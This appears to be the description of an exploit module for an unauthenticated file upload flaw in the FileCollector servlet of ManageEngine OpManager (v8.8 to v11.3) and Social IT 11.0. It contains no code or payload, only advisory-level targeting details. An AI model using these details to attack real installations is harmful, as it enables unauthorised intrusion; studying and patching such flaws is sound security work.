This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.  
The vulnerability exists in the FileCollector servlet which accepts unauthenticated  
file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on  
version 11.0 of SocialIT for Windows and Linux.
